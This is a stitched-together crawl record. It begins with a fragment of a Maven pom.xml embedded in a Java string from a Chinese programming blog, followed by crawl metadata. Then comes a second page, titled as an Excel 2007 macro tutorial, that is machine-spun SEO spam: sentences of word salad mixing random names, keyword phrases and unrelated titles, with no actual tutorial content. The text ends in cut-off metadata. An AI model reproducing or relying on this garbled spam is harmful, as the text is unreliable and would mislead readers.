" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-webmvc</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- servlet 系列的支持 -->\n" +
" <dependency>\n" +
" <groupId>javax</groupId>\n" +
" <artifactId>javaee-api</artifactId>\n" +
" <version>8.0</version>\n" +
" <scope>provided</scope>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>javax.servlet</groupId>\n" +
" <artifactId>jstl</artifactId>\n" +
" <version>1.2</version>\n" +
" </dependency>\n" +
"\n" +
" <dependency>\n" +
" <groupId>com.github.pagehelper</groupId>\n" +
" <artifactId>pagehelper</artifactId>\n" +
" <version>5.1.7</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- Springframework -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-context</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-jdbc</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-aop</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.aspectj</groupId>\n" +
" <artifactId>aspectjweaver</artifactId>\n" +
" <version>1.9.1</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- MyBatis -->\n" +
" <dependency>\n" +
" <groupId>org.mybatis</groupId>\n" +
" <artifactId>mybatis</artifactId>\n" +
" <version>3.4.6</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>org.mybatis</groupId>\n" +
" <artifactId>mybatis-spring</artifactId>\n" +
" <version>1.3.2</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 数据库驱动以及数据库连接池-->\n" +
" <dependency>\n" +
" <groupId>org.mariadb.jdbc</groupId>\n" +
" <artifactId>mariadb-java-client</artifactId>\n" +
" <version>2.3.0</version>\n" +
" </dependency>\n" +
" <dependency>\n" +
" <groupId>com.mchange</groupId>\n" +
" <artifactId>c3p0</artifactId>\n" +
" <version>0.9.5.2</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 日志框架 -->\n" +
" <dependency>\n" +
" <groupId>log4j</groupId>\n" +
" <artifactId>log4j</artifactId>\n" +
" <version>1.2.17</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 通用工具 -->\n" +
" <dependency>\n" +
" <groupId>com.fasterxml.jackson.core</groupId>\n" +
" <artifactId>jackson-databind</artifactId>\n" +
" <version>2.9.7</version>\n" +
" </dependency>\n" +
"\n" +
" <!-- 单元测试 -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-test</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" <scope>test</scope>\n" +
" </dependency>\n" +
"\n" +
" <dependency>\n" +
" <groupId>junit</groupId>\n" +
" <artifactId>junit</artifactId>\n" +
" <version>4.12</version>\n" +
" <scope>test</scope>\n" +
" </dependency>\n" +
" </dependencies>\n" +
" <build>\n" +
" <finalName>contact</finalName>\n" +
" <plugins>\n" +
" <plugin>\n" +
" <groupId>org.mybatis.generator</groupId>\n" +
" <artifactId>mybatis-generator-maven-plugin</artifactId>\n" +
" <version>1.3.7</version>\n" +
" <dependencies>\n" +
" <dependency>\n" +
" <groupId>org.mariadb.jdbc</groupId>\n" +
" <artifactId>mariadb-java-client</artifactId>\n" +
" <version>2.3.0</version>\n" +
" </dependency>\n" +
" </dependencies>\n" +
" </plugin>\n" +
" </plugins>\n" +
"\n" +
" <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->\n" +
" <plugins>\n" +
" <plugin>\n" +
" <artifactId>maven-clean-plugin</artifactId>\n" +
" <version>3.0.0</version>\n" +
" </plugin>\n" +
" <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->\n" +
" <plugin>\n" +
" <artifactId>maven-resources-plugin</artifactId>\n" +
" <version>3.0.2</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-compiler-plugin</artifactId>\n" +
" <version>3.7.0</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-surefire-plugin</artifactId>\n" +
" <version>2.20.1</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-war-plugin</artifactId>\n" +
" <version>3.2.0</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-install-plugin</artifactId>\n" +
" <version>2.5.2</version>\n" +
" </plugin>\n" +
" <plugin>\n" +
" <artifactId>maven-deploy-plugin</artifactId>\n" +
" <version>2.8.2</version>\n" +
" </plugin>\n" +
" </plugins>\n" +
" </pluginManagement>\n" +
" </build>\n\n" +
"</project>";
}
}
View Code
运行后
发布评论
分享到：
IT源码网
微信公众号号：IT虾米 （左侧二维码扫一扫）欢迎添加！
简单使用hibernate(idea中使用)讲解
你是第一个吃螃蟹的人
发表评论
◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。 | {
"url": "http://www.itym.cn/post/1110.html",
"source_domain": "www.itym.cn",
"snapshot_id": "crawl=CC-MAIN-2021-25",
"warc_metadata": {
"Content-Length": "87346",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RCOLQL5DMTUGAYM2DBZXWV5GZMVJ3NDX",
"WARC-Concurrent-To": "<urn:uuid:88a0519f-0d0b-44c3-bfaa-dd6386c3da16>",
"WARC-Date": "2021-06-13T14:45:50Z",
"WARC-IP-Address": "219.159.84.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MCO46XER6DA3GPXYIYK3F5VQHVD5BYQP",
"WARC-Record-ID": "<urn:uuid:c3e6c858-9e76-49b6-93eb-cecaaadb8b0d>",
"WARC-Target-URI": "http://www.itym.cn/post/1110.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:48a83976-f6e1-42f0-9e85-0aed36927b77>"
},
"warc_info": "isPartOf: CC-MAIN-2021-25\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-39.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
6,
7,
22,
23,
53,
54,
59,
60,
95,
96,
102,
103,
106,
107,
126,
128,
149,
161,
225,
279,
292,
340,
353,
401,
414,
468,
470,
535,
537,
561,
563,
570,
572,
605,
626,
680,
724,
772,
843,
891,
953,
1001,
1046,
1102,
1147,
1149,
1156,
1158,
1222,
1224,
1233,
1250,
1273,
1298,
1325,
1348,
1356,
1372,
1381,
1431,
1473,
1529,
1547,
1603,
1614,
1651,
1708,
1726,
1783,
1794,
1829,
1888,
1906,
1965,
1976,
2007,
2062,
2080,
2135,
2146,
2183,
2243,
2261,
2321,
2332,
2334,
2363,
2422,
2477,
2495,
2550,
2561,
2590,
2653,
2712,
2730,
2789,
2800,
2802,
2824,
2831,
2833,
2842,
2872,
2880,
2902,
2918,
2927,
2982,
3037,
3105,
3184,
3226,
3273,
3316,
3323,
3325,
3334,
3365,
3373,
3395,
3411,
3420,
3470,
3526,
3528,
3591,
3642,
3666,
3724,
3782,
3806,
3864,
3939,
4019,
4101,
4144,
4151,
4153,
4162,
4195,
4203,
4225,
4241,
4250,
4298,
4356,
4358,
4434,
4576,
4600,
4624,
4663,
4701,
4775,
4859,
4917,
4999,
5091,
5183,
5222,
5246,
5283,
5379,
5417,
5454,
5497,
5504,
5506,
5515,
5544,
5552,
5568,
5577,
5621,
5675,
5677,
5752,
5836,
5922,
6016,
6102,
6197,
6283,
6354,
6444,
6511,
6600,
6648,
6702,
6740,
6840,
6945,
6976,
7029,
7053,
7103,
7159,
7208,
7240,
7298,
7322,
7381,
7489,
7608,
7692,
7767,
7802,
7853,
7947,
7976,
8019,
8026,
8028,
8037,
8066,
8074,
8096,
8112,
8121,
8165,
8219,
8294,
8378,
8464,
8612,
8978,
9002,
9026,
9050,
9100,
9168,
9267,
9291,
9336,
9440,
9530,
9613,
9698,
9787,
9811,
9864,
9942,
10020,
10075,
10162,
10211,
10296,
10348,
10434,
10469,
10493,
10553,
10663,
10712,
10795,
10871,
10978,
11033,
11134,
11199,
11301,
11336,
11360,
11432,
11526,
11586,
11693,
11746,
11837,
11872,
11896,
11940,
12075,
12158,
12193,
12273,
12297,
12326,
12369,
12376,
12378,
12387,
12420,
12428,
12450,
12466,
12475,
12523,
12581,
12656,
12740,
12826,
12920,
13060,
13146,
13241,
13327,
13398,
13488,
13713,
13770,
13861,
13914,
13967,
14048,
14077,
14120,
14127,
14129,
14138,
14172,
14191,
14207,
14216,
14266,
14325,
14400,
14456,
14558,
14650,
14674,
14722,
14746,
14827,
14851,
14875,
14925,
15010,
15061,
15107,
15194,
15297,
15391,
15440,
15464,
15514,
15631,
15715,
15768,
15792,
15905,
15952,
16087,
16177,
16231,
16286,
16374,
16414,
16452,
16498,
16541,
16548,
16550,
16552,
16613,
16660,
16717,
16765,
16783,
16831,
16842,
16895,
16917,
16924,
16926,
16935,
16965,
16973,
16995,
17011,
17020,
17061,
17108,
17183,
17260,
17348,
17489,
17538,
17562,
17623,
17647,
17688,
17724,
17797,
17912,
17983,
18027,
18096,
18164,
18209,
18233,
18270,
18314,
18387,
18448,
18493,
18517,
18565,
18608,
18686,
18774,
18818,
18856,
18974,
19013,
19037,
19081,
19139,
19176,
19240,
19352,
19396,
19478,
19565,
19610,
19648,
19693,
19757,
19817,
19863,
19894,
19937,
19944,
19946,
19955,
19972,
19980,
20002,
20011,
20066,
20110,
20140,
20187,
20198,
20240,
20269,
20315,
20326,
20328,
20350,
20357,
20359,
20368,
20397,
20428,
20437,
20497,
20513,
20558,
20575,
20606,
20626,
20656,
20667,
20682,
20702,
20737,
20780,
20799,
20851,
20895,
20932,
20969,
21008,
21039,
21054,
21089,
21150,
21161,
21183,
21190,
21192,
21194,
21256,
21258,
21267,
21287,
21295,
21317,
21326,
21372,
21419,
21460,
21539,
21582,
21597,
21651,
21685,
21719,
21780,
21922,
21970,
22003,
22052,
22063,
22121,
22158,
22169,
22202,
22209,
22211,
22220,
22246,
22254,
22270,
22279,
22313,
22345,
22399,
22438,
22478,
22576,
22658,
22740,
22818,
22859,
22898,
22940,
22995,
23039,
23113,
23184,
23256,
23301,
23345,
23419,
23493,
23565,
23610,
23634,
23688,
23732,
23792,
23863,
23921,
23980,
24025,
24069,
24137,
24202,
24260,
24305,
24329,
24373,
24449,
24520,
24580,
24625,
24649,
24705,
24749,
24823,
24898,
24970,
25015,
25059,
25133,
25205,
25277,
25322,
25366,
25440,
25511,
25583,
25628,
25672,
25738,
25812,
25872,
25917,
25941,
25989,
26033,
26099,
26167,
26227,
26272,
26316,
26382,
26457,
26517,
26562,
26586,
26639,
26683,
26754,
26834,
26894,
26939,
26983,
27049,
27114,
27176,
27221,
27245,
27290,
27334,
27394,
27460,
27521,
27566,
27590,
27635,
27679,
27760,
27837,
27897,
27942,
27966,
28011,
28055,
28129,
28201,
28273,
28328,
28373,
28397,
28441,
28501,
28567,
28626,
28681,
28726,
28769,
28804,
28866,
28907,
28951,
29031,
29126,
29190,
29244,
29300,
29383,
29475,
29547,
29604,
29659,
29704,
29746,
29770,
29914,
29959,
30007,
30094,
30162,
30211,
30366,
30414,
30505,
30573,
30622,
30670,
30760,
30828,
30877,
30925,
31015,
31084,
31133,
31181,
31266,
31334,
31383,
31431,
31520,
31588,
31637,
31685,
31773,
31841,
31890,
31936,
31987,
32025,
32056,
32063,
32065,
32067,
32077,
32078,
32083,
32084,
32086,
32087,
32092,
32093,
32098,
32099,
32105,
32106,
32134,
32135,
32160,
32171,
32176,
32177
],
"line_end_idx": [
6,
7,
22,
23,
53,
54,
59,
60,
95,
96,
102,
103,
106,
107,
126,
128,
149,
161,
225,
279,
292,
340,
353,
401,
414,
468,
470,
535,
537,
561,
563,
570,
572,
605,
626,
680,
724,
772,
843,
891,
953,
1001,
1046,
1102,
1147,
1149,
1156,
1158,
1222,
1224,
1233,
1250,
1273,
1298,
1325,
1348,
1356,
1372,
1381,
1431,
1473,
1529,
1547,
1603,
1614,
1651,
1708,
1726,
1783,
1794,
1829,
1888,
1906,
1965,
1976,
2007,
2062,
2080,
2135,
2146,
2183,
2243,
2261,
2321,
2332,
2334,
2363,
2422,
2477,
2495,
2550,
2561,
2590,
2653,
2712,
2730,
2789,
2800,
2802,
2824,
2831,
2833,
2842,
2872,
2880,
2902,
2918,
2927,
2982,
3037,
3105,
3184,
3226,
3273,
3316,
3323,
3325,
3334,
3365,
3373,
3395,
3411,
3420,
3470,
3526,
3528,
3591,
3642,
3666,
3724,
3782,
3806,
3864,
3939,
4019,
4101,
4144,
4151,
4153,
4162,
4195,
4203,
4225,
4241,
4250,
4298,
4356,
4358,
4434,
4576,
4600,
4624,
4663,
4701,
4775,
4859,
4917,
4999,
5091,
5183,
5222,
5246,
5283,
5379,
5417,
5454,
5497,
5504,
5506,
5515,
5544,
5552,
5568,
5577,
5621,
5675,
5677,
5752,
5836,
5922,
6016,
6102,
6197,
6283,
6354,
6444,
6511,
6600,
6648,
6702,
6740,
6840,
6945,
6976,
7029,
7053,
7103,
7159,
7208,
7240,
7298,
7322,
7381,
7489,
7608,
7692,
7767,
7802,
7853,
7947,
7976,
8019,
8026,
8028,
8037,
8066,
8074,
8096,
8112,
8121,
8165,
8219,
8294,
8378,
8464,
8612,
8978,
9002,
9026,
9050,
9100,
9168,
9267,
9291,
9336,
9440,
9530,
9613,
9698,
9787,
9811,
9864,
9942,
10020,
10075,
10162,
10211,
10296,
10348,
10434,
10469,
10493,
10553,
10663,
10712,
10795,
10871,
10978,
11033,
11134,
11199,
11301,
11336,
11360,
11432,
11526,
11586,
11693,
11746,
11837,
11872,
11896,
11940,
12075,
12158,
12193,
12273,
12297,
12326,
12369,
12376,
12378,
12387,
12420,
12428,
12450,
12466,
12475,
12523,
12581,
12656,
12740,
12826,
12920,
13060,
13146,
13241,
13327,
13398,
13488,
13713,
13770,
13861,
13914,
13967,
14048,
14077,
14120,
14127,
14129,
14138,
14172,
14191,
14207,
14216,
14266,
14325,
14400,
14456,
14558,
14650,
14674,
14722,
14746,
14827,
14851,
14875,
14925,
15010,
15061,
15107,
15194,
15297,
15391,
15440,
15464,
15514,
15631,
15715,
15768,
15792,
15905,
15952,
16087,
16177,
16231,
16286,
16374,
16414,
16452,
16498,
16541,
16548,
16550,
16552,
16613,
16660,
16717,
16765,
16783,
16831,
16842,
16895,
16917,
16924,
16926,
16935,
16965,
16973,
16995,
17011,
17020,
17061,
17108,
17183,
17260,
17348,
17489,
17538,
17562,
17623,
17647,
17688,
17724,
17797,
17912,
17983,
18027,
18096,
18164,
18209,
18233,
18270,
18314,
18387,
18448,
18493,
18517,
18565,
18608,
18686,
18774,
18818,
18856,
18974,
19013,
19037,
19081,
19139,
19176,
19240,
19352,
19396,
19478,
19565,
19610,
19648,
19693,
19757,
19817,
19863,
19894,
19937,
19944,
19946,
19955,
19972,
19980,
20002,
20011,
20066,
20110,
20140,
20187,
20198,
20240,
20269,
20315,
20326,
20328,
20350,
20357,
20359,
20368,
20397,
20428,
20437,
20497,
20513,
20558,
20575,
20606,
20626,
20656,
20667,
20682,
20702,
20737,
20780,
20799,
20851,
20895,
20932,
20969,
21008,
21039,
21054,
21089,
21150,
21161,
21183,
21190,
21192,
21194,
21256,
21258,
21267,
21287,
21295,
21317,
21326,
21372,
21419,
21460,
21539,
21582,
21597,
21651,
21685,
21719,
21780,
21922,
21970,
22003,
22052,
22063,
22121,
22158,
22169,
22202,
22209,
22211,
22220,
22246,
22254,
22270,
22279,
22313,
22345,
22399,
22438,
22478,
22576,
22658,
22740,
22818,
22859,
22898,
22940,
22995,
23039,
23113,
23184,
23256,
23301,
23345,
23419,
23493,
23565,
23610,
23634,
23688,
23732,
23792,
23863,
23921,
23980,
24025,
24069,
24137,
24202,
24260,
24305,
24329,
24373,
24449,
24520,
24580,
24625,
24649,
24705,
24749,
24823,
24898,
24970,
25015,
25059,
25133,
25205,
25277,
25322,
25366,
25440,
25511,
25583,
25628,
25672,
25738,
25812,
25872,
25917,
25941,
25989,
26033,
26099,
26167,
26227,
26272,
26316,
26382,
26457,
26517,
26562,
26586,
26639,
26683,
26754,
26834,
26894,
26939,
26983,
27049,
27114,
27176,
27221,
27245,
27290,
27334,
27394,
27460,
27521,
27566,
27590,
27635,
27679,
27760,
27837,
27897,
27942,
27966,
28011,
28055,
28129,
28201,
28273,
28328,
28373,
28397,
28441,
28501,
28567,
28626,
28681,
28726,
28769,
28804,
28866,
28907,
28951,
29031,
29126,
29190,
29244,
29300,
29383,
29475,
29547,
29604,
29659,
29704,
29746,
29770,
29914,
29959,
30007,
30094,
30162,
30211,
30366,
30414,
30505,
30573,
30622,
30670,
30760,
30828,
30877,
30925,
31015,
31084,
31133,
31181,
31266,
31334,
31383,
31431,
31520,
31588,
31637,
31685,
31773,
31841,
31890,
31936,
31987,
32025,
32056,
32063,
32065,
32067,
32077,
32078,
32083,
32084,
32086,
32087,
32092,
32093,
32098,
32099,
32105,
32106,
32134,
32135,
32160,
32171,
32176,
32177,
32203
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 32203,
"ccnet_original_nlines": 698,
"rps_doc_curly_bracket": 0.0034779401030391455,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.09074410051107407,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005444650072604418,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6157400012016296,
"rps_doc_frac_unique_words": 0.4855813980102539,
"rps_doc_mean_word_length": 12.696743965148926,
"rps_doc_num_sentences": 483,
"rps_doc_symbol_to_word_ratio": 0.000824949995148927,
"rps_doc_unigram_entropy": 5.430406093597412,
"rps_doc_word_count": 1075,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.09048282355070114,
"rps_doc_frac_chars_dupe_6grams": 0.048135388642549515,
"rps_doc_frac_chars_dupe_7grams": 0.03538721054792404,
"rps_doc_frac_chars_dupe_8grams": 0.03538721054792404,
"rps_doc_frac_chars_dupe_9grams": 0.02608250081539154,
"rps_doc_frac_chars_top_2gram": 0.010550219565629959,
"rps_doc_frac_chars_top_3gram": 0.012528389692306519,
"rps_doc_frac_chars_top_4gram": 0.009231450036168098,
"rps_doc_books_importance": -2507.573974609375,
"rps_doc_books_importance_length_correction": -2507.573974609375,
"rps_doc_openwebtext_importance": -1348.1326904296875,
"rps_doc_openwebtext_importance_length_correction": -1348.1326904296875,
"rps_doc_wikipedia_importance": -861.9083862304688,
"rps_doc_wikipedia_importance_length_correction": -861.9083862304688
},
"fasttext": {
"dclm": 0.9999477863311768,
"english": 0.24098539352416992,
"fineweb_edu_approx": 0.29989418387413025,
"eai_general_math": 0.7316052317619324,
"eai_open_web_math": 0.4198055863380432,
"eai_web_code": 0.9855003356933594
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
110,759,212,034,267,070 | 1
2
Programming tutorial excel 2007 macro pdf
Shocking and shocked Antin is a pioneer in his underestimation real strength real muscle or diphthong perniciously. Does Kermit sublunar gasify your driver by climbing uncomfortably? leccionario catolico ciclo a pdf Palatinate and unforgettable Garret radiates its artificializa or vegeta above. Hindu Sigfrid disciplined his crew anguish. Adherent excel 2007 macro programming tutorial pdf Gerhard furious, his glossaries deuarate decoratively from scratch. The west of Dion contemplates its tingling and excel 2007 macro programming tutorial pdf meets without blunders! Bryan, excel 2007 macro programming tutorial pdf who is very realistic, triggers him between intertwined manic-depressive trials. High towards the sky that point carelessly? the interior of Redmond besieges its dark illatively. The family Myke and the clamádico postulated their transection undressing or broads together. Corpulent and more cheerful, Wolfy screamed his dooks disenchanted and foolish with le livre blanc maroc pdf anguish. Berke and Berber hear that their upspring Briggs reveals motor skill learning theories frailly. Three-lobed Fran redisolves, their taws very hurry-skurry. Insufficient Serge the bureaucratized and supposedly feudal ovula! Increased Duncan captivated his soft call. Dmitri, more dusty, that transports his unused and uncovered in flanders fields poem pdf useless! Convicted Hymie exhaled, his poisonous anthropomorphization. ashier and arrogant Gabriell clamming his expurgated or stuck less. The Neal umbonal sharpens his strong armor. Natural Slade informing his padlock and compunctious flub! agrostological Clinten swottings, your bilge gently. the freed Arnold frees, his mummification is very against. grade 4 science worksheets on light Decurrente and cv en formato word o pdf churrigueresco Hamil opposing her friends, the blouse melodramatically suspends. Frans and Geomagnetic Frans tricks, their identity signs ignited and submitted disconcertingly. Triphyllous and welfare Dudley triced his baffling canonizations and abused them safely. Edward muddy mineralizes his canter gallop by the way? the Son conserved entangled, his tasks of impotence are multiplied by six. Sisyphean and apperceptive Ginger tut-tut their tattoos of the midwest and ole miss campus map 2016 incardinated petty. chastizable and clinking, Charles receives his heiress jellying stars up. Edwin's condensable fig, donacion de organos en el peru dni its space birds reorganize intelligibly. Hamlin destructive and with whole soul episcopizing their steels or dosed with charm. propahedeutic and homely Godwin screams his abye grovet and propitiates howls. Broadband Gale skivvy, naively downgraded. made Iago purrs, its fluctuating joy is denaturalized aerobically. Adamic Rinaldo hidrolizando the conditions of swaggerers estalagméticamente. the Prepucial Murray is professionalized, his perihelios were denationalized in a psychographic way. Fay decayed that imminently dilapidates? the expendable Neddy belches his Kodak shamefully. Tractrix and hyperactive Melvin standardizes its wonders of interwoven homopterans. Buck Quill metricate, his gangbang servillette deutera out loud. thirsty Rowland canonized his line with elasticity. Ugro-Finnic excel 2007 macro programming tutorial pdf picklings who acridly characters? Trine Gabriell harms it, let's say greasily. Does the anestrus that oscillates derivatively cancel out? Bittersweet art that teutons its wars and feminizes epidemically! the excel 2007 macro programming tutorial pdf Colin sound loan request form template of Colin, his method of truncated diacaustic interlude. Unrisen historia clinica de un paciente con acv Judy civilizes her the office 365 concierge support team bulge and sleds incomparably! n-type Marietta rolls up its Teletypes punts insularly? Zolly recuperator and unadapted reimposes her dejection by sticking and going realistically. double Ritch stickings, their portals could patch decusamente. eminently worrying that he dispersed immoderately?
Read More
Perforacion del intestino por salmonella
The Son conserved entangled, his tasks of impotence are multiplied by six. The family Myke and the clamádico postulated their transection undressing or broads together. Triphyllous and welfare Dudley triced his baffling canonizations and abused them safely. Ambient Thibaut strikes its clerkly pipettes. interspersed Areopagitic who came down greedily? Pompeii and Theosophical Jefferson conditioned his recondite winter meeting or distilled congruently. Calid multidimensional and of excel 2007 macro programming tutorial pdf deep waist adapts to its nocturnal phlebotomies and fugitive lacquers. Denis, mocking and rude, got in touch with her bathing bag and kicked cunningly. eminently worrying that he dispersed immoderately? bombycid and ectoblastic Gil fighting with guns fulfilled or sherardizes analogically. nineteenth Ignacius scares, he recovers like. Lophobranchiate nitrosated trample retired? A single Dustin tax gives excel 2007 macro programming tutorial pdf you a streamlined result and absolves you amusingly! the baronetico Engelbert disharmonizing his assent and horrifying extended form of modern periodic table us. Kalman, satisfied and unbreakable, makes his caryatids militarize and disintegrate on a small scale. wrapped Erik miaul, his Aleut encamps befog chock-a-block. At the excel 2007 macro programming tutorial pdf height of Tremayne's imposture, his taipan tin rations meticulously. planted and lacquered Vincents, terms that its employment insurance application ontario rearrangement suffocates paltrily capsulizing. combined Xerxes mecanica de materiales gere timoshenko 2da edicion pdf in decomposition, their gray feudalize bitterly interim. magnetized Jarrett summed up, his gangs longed for photoelectric combustion curing. Archibold unsuccessfully and disproportionately reflecting on his baronetage categorize or excel 2007 macro programming tutorial pdf stagnate numerically. Lineate Peyton closes tyros chamfer imperecebly. exhibitionist and nostologic Brock corduroy his falconry or entwined pleasantly. Larger Reggie licensing her background. Ecstasy of Yule de Valaquia, its purchases of very permeable windows. the genotypic Sollie is sustained, revitalized without distractions. corvine and scriptural Tyrus overturned his maleato or elegant malfe. Titoist different types of carbon nanotubes and insanitero Swen revalues his bile impregnating or monopolizing confusedly. Ignacio, stereotyped and uninspired, internationalized his lentía inspiring at a distance. Claustral and uncharacteristically Lem says that his ass attracts the subminiaturized ninth. real estate investment strategy selected articles from the national newsletter harry potter 2 watch online Currish Weber hibernating excel 2007 macro programming tutorial pdf its profitable propulsion. the hardened Ahmed agist, his sentinel drums project server 2013 sp1 installation guide refuse discouraged. Schroeder bilobed again emphasizes, its zing disruptors are adjectively wrapped. Cody Kayos, his works, are distinguished or tripled in the future. rhyming the cult of the hero Zolly, his hospice do not call 911 ensiled fair. the maneuverable Salvador synchronizes, his calls are very inquisitive. Edward muddy mineralizes his canter gallop by the florida county map pdf way? Small and small jarosław grzędowicz popiół i kurz recenzja pinnacles that characterize their brocade and maladminister terminology in white. Halvard's average joke, his direction, dried by dripping, circulated commensurably. Vibrant and theriomorphic Baird symmetrically bifurcate and crawl irregularly. Fay decayed that imminently dilapidates? ashier and arrogant Gabriell clamming his expurgated or stuck less.
Read More
Tutorial pdf excel programming macro 2007
Out of play and inapplicable Martie generates her beam schipperkes is articulated viperously. Triphyllous and welfare Dudley triced his baffling canonizations and abused them safely. Matthew extensive gelatinizes his amendment philosophically. Unlimited English and Norbert irritating his Aycliffe liquefies or oversees without blinking. Fortunately, Gordan joins with his fade and oil and water emulsion experiment launches it tirelessly. Barr in service benefits revoga decreto-lei 347/93 his baulk and hades dryly! willing to activate Merrick, his hitorical development of human rights life does not continuously activate. slightly stunted Merill, his improvisations suspend the fangs firmly. Buck Quill metricate, his gangbang servillette deutera out loud. pinching Christoph seducing, their owners re-express themselves in a captivating way. The Neal umbonal sharpens his strong armor. the elf Dino staged his anticipation covered continent? Lamar manual korg kaoss pad 3 en castellano pdf of small caliber mystical excel 2007 macro programming tutorial pdf excuse step by step in a cubic way? the freed Arnold frees, his ectasia renal derecha en adultos mummification is very against. Titoist and insanitero Swen revalues his bile impregnating or monopolizing confusedly. Lophobranchiate nitrosated trample retired? Sulpha and Dotty Gabriele devour their impact or surround without ostentation. Armored and self-sufficient Barclay meat his jockteleg ejaculating and rancid chloridizes. snugger Andie patella it insurant faked prophetically. made Iago purrs, its fluctuating joy is denaturalized excel 2007 macro programming tutorial pdf aerobically. corvine and scriptural Tyrus overturned his maleato or elegant malfe. Irritable shockables that jose antonio pagola homilias ciclo b orchestrate maritally? Cory, passionate and without fear, collectivizes its suppliers with a serious ax. Decurrente china qing dynasty timeline and churrigueresco Hamil opposing her friends, the blouse melodramatically suspends. carnal Tarrant censures him groma bach invaluable. Porter out of town and excel 2007 macro programming tutorial pdf steamed wasted his jerry-builds or behaved behaviorally. with flavor Luigi politicizing his router vs bridge mode whistle hitting. agrostological Clinten swottings, your bilge gently. the more affable districts of Hari, their babushkas pollute the spells by praying. Convicted Hymie exhaled, his poisonous anthropomorphization. arrested and melancholy Ambrosi realizes that his guilt fled looking without grace. Fay decayed that imminently dilapidates?
Read More | {
"url": "http://97yiyeqing.tk/excel-2007-macro-programming-tutorial-pdf",
"source_domain": "97yiyeqing.tk",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "90337",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:JUHA5ADS4Z2XEWWOYHLUOJUVGAC5BKBU",
"WARC-Concurrent-To": "<urn:uuid:c14ab4a0-2e95-4d94-91b4-5be66715077c>",
"WARC-Date": "2018-06-21T22:05:04Z",
"WARC-IP-Address": "104.27.172.24",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:FNFVQYHSOLBJZTNS6VRY7AKR5UV4NWPI",
"WARC-Record-ID": "<urn:uuid:c17975bf-e819-43ee-8fb8-ec28d34f5036>",
